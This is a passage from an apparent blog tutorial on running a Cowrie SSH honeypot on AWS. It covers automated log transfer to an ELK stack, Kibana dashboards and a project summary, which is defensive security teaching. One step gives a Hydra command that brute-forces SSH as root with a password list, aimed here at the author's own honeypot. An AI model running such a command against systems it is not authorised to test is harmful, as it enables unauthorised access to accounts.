directory.</p><h4>4.4 Automate Log Transfers Using Cron</h4><p>To ensure logs are transferred periodically, we’ll set up a cron job on the honeypot instance.</p><p>Open the crontab editor and add a new cron job to schedule log transfers every 15 minutes:</p><pre>crontab -e<br>*/15 * * * * scp /home/ubuntu/cowrie/var/log/cowrie/cowrie.json ubuntu@&lt;elk_instance_public_ip&gt;:/home/ubuntu/cowrie_logs/</pre><p>*/15: Runs the command every 15 minutes (Adjust the frequency as needed).</p><p>To test the corn job, wait for the next scheduled time and check the logs on the ELK instance.</p><h4>4.5 Secure SCP Transfers</h4><p>Enhance security by using an SSH key pair for SCP. Generate an SSH Key on the Honeypot instance:</p><pre>ssh-keygen -t rsa -b 2048 -f ~/.ssh/elk_transfer_key</pre><p>Copy the public key to the ELK instance:</p><pre>ssh-copy-id -i ~/.ssh/elk_transfer_key.pub ubuntu@&lt;elk_instance_public_ip&gt;</pre><p>Update the SCP command in the cron job to use the key:</p><pre>scp -i ~/.ssh/elk_transfer_key /home/ubuntu/cowrie/var/log/cowrie/cowrie.json ubuntu@&lt;elk_instance_public_ip&gt;:/home/ubuntu/cowrie_logs/</pre><h3>Phase 5: Visualization and Analysis</h3><h4>5.1 Verify Log Ingestion in Elasticsearch</h4><p>On the ELK instance, check Elasticsearch indices:</p><pre>curl -X GET &quot;http://localhost:9200/_cat/indices?v&quot;</pre><p>Ensure Logstash is processing logs from /home/ubuntu/cowrie_logs/:</p><pre>sudo nano /etc/logstash/conf.d/cowrie-logstash.conf</pre><p>Verify the input path:</p><pre>input {<br>    file {<br>        path =&gt; &quot;/home/ubuntu/cowrie_logs/*.json&quot;<br>        start_position =&gt; &quot;beginning&quot;<br>        codec =&gt; &quot;json&quot;<br>    }<br>}</pre><p>Restart Logstash:</p><pre>sudo systemctl restart logstash</pre><h4>5.2 Visualize Logs in Kibana</h4><ol><li><strong>Access Kibana:</strong> Open a browser and navigate to http://&lt;elk_instance_public_ip&gt;:5601</li><li><strong>Create an Index Pattern:</strong></li></ol><ul><li>Go to <strong>Management &gt; Index Patterns &gt; Create New Pattern</strong>.</li><li>Enter cowrie-* as the pattern and configure the timestamp field.</li></ul><p><strong>3. Explore Logs: </strong>Go to <strong>Discover</strong> and explore Cowrie logs.</p><p><strong>4. Create Visualizations: </strong>Use Kibana’s <strong>Visualize</strong> and <strong>Dashboard</strong> tools to create charts showing:</p><ul><li><strong>Bar Charts</strong>: Show login attempts over time.</li><li><strong>Pie Charts</strong>: Display the most common usernames or passwords.</li><li><strong>Maps</strong>: Visualize attacker IPs geographically (requires GeoIP setup).</li></ul><p><strong>5. Build a Dashboard: </strong>Combine multiple visualizations into a Kibana dashboard for a consolidated view of the honeypot activity.</p><h4>5.3 Simulate Real-World Scenarios</h4><p><strong>Conduct a Brute-Force Attack Simulation: </strong>Use a tool like Hydra to simulate a brute-force attack on the honeypot:</p><pre>hydra -l root -P /path/to/password-list.txt ssh://&lt;honeypot_public_ip&gt;</pre><p>Monitor Cowrie logs for entries related to the attack.</p><h3>Conclusion</h3><h4>Project Summary</h4><ol><li><strong>Honeypot Deployment:</strong></li></ol><ul><li>A honeypot (Cowrie) was successfully deployed on an AWS EC2 instance, simulating an SSH service to monitor unauthorized login attempts.</li><li>The setup captured real-world attack data, including brute-force attempts, common usernames/passwords, and source IPs.</li></ul><p><strong>2. ELK Stack Integration:</strong></p><ul><li>A dedicated ELK Stack was deployed on a separate t3.medium instance to process and visualize the honeypot logs.</li><li>Logs were securely transferred from the honeypot instance to the ELK instance, enabling seamless ingestion and analysis.</li></ul><p><strong>3. Visualization and Insights:</strong></p><ul><li>Kibana dashboards were created to analyze attacker behavior, track trends, and identify attack patterns.</li><li>Real-world simulations validated the effectiveness of the setup in capturing and analyzing malicious activity.</li></ul><h4>Key Learnings</h4><ol><li><strong>Technical Skills:</strong></li></ol><ul><li>Hands-on experience with AWS EC2, including instance deployment, security group configuration, and SSH management.</li><li>Installation, configuration, and operation of Cowrie honeypot and the ELK Stack.</li><li>Automated log transfers using SCP and cron, improving operational efficiency.</li><li>Building visualizations and dashboards in Kibana for data analysis.</li></ul><p><strong>2. Cybersecurity Insights:</strong></p><ul><li>Understanding attacker behavior, including brute-force attempts and common credential patterns.</li><li>Recognizing the importance of monitoring and logging in detecting and mitigating threats.</li><li>Leveraging honeypots as a proactive cybersecurity measure to gather threat intelligence.</li></ul><p><strong>3. Cloud Management:</strong></p><ul><li>Resource optimization and scalability using AWS cloud services.</li><li>Separating workloads for better performance and security.</li></ul><h4>Challenges and How They Were Overcome</h4><ol><li><strong>Performance Limitations on Smaller Instances: </strong>Choosing the right instance type (t3.medium) ensured sufficient resources for the ELK Stack.</li><li><strong>Log Transfer Automation: </strong>Securely automating data transfers using cron and SSH keys streamlined the process.</li><li><strong>Troubleshooting ELK Stack Issues: </strong>Careful configuration of Elasticsearch, Logstash, and Kibana resolved data ingestion and visualization challenges.</li></ol><h4>Future Enhancements</h4><ol><li><strong>Expanding the Honeypot: </strong>Deploy additional honeypots (e.g., HTTP or FTP) to simulate more services and capture diverse attack patterns.</li><li><strong>GeoIP Analysis: </strong>Enable GeoIP enrichment in Logstash to map attacker locations and enhance visualizations in Kibana.</li><li><strong>Alerting and Automation: </strong>Configure Elasticsearch Watcher or external tools for real-time alerts based on attack thresholds.</li><li><strong>Publicizing Insights: </strong>Share anonymized logs, visualizations, and findings with the community to contribute to collective cybersecurity knowledge.</li></ol><h3>Final Thoughts</h3><p>This project demonstrated the value of honeypots in understanding real-world threats and the power of log analysis for proactive cybersecurity measures. The hands-on experience gained through this implementation is invaluable for aspiring cybersecurity professionals and enthusiasts.</p><p>I hope this article, along with the troubleshooting section, provides a clear roadmap for anyone looking to replicate or build upon this project. Feel free to share your own experiences or reach out with questions!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c8467168663c" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>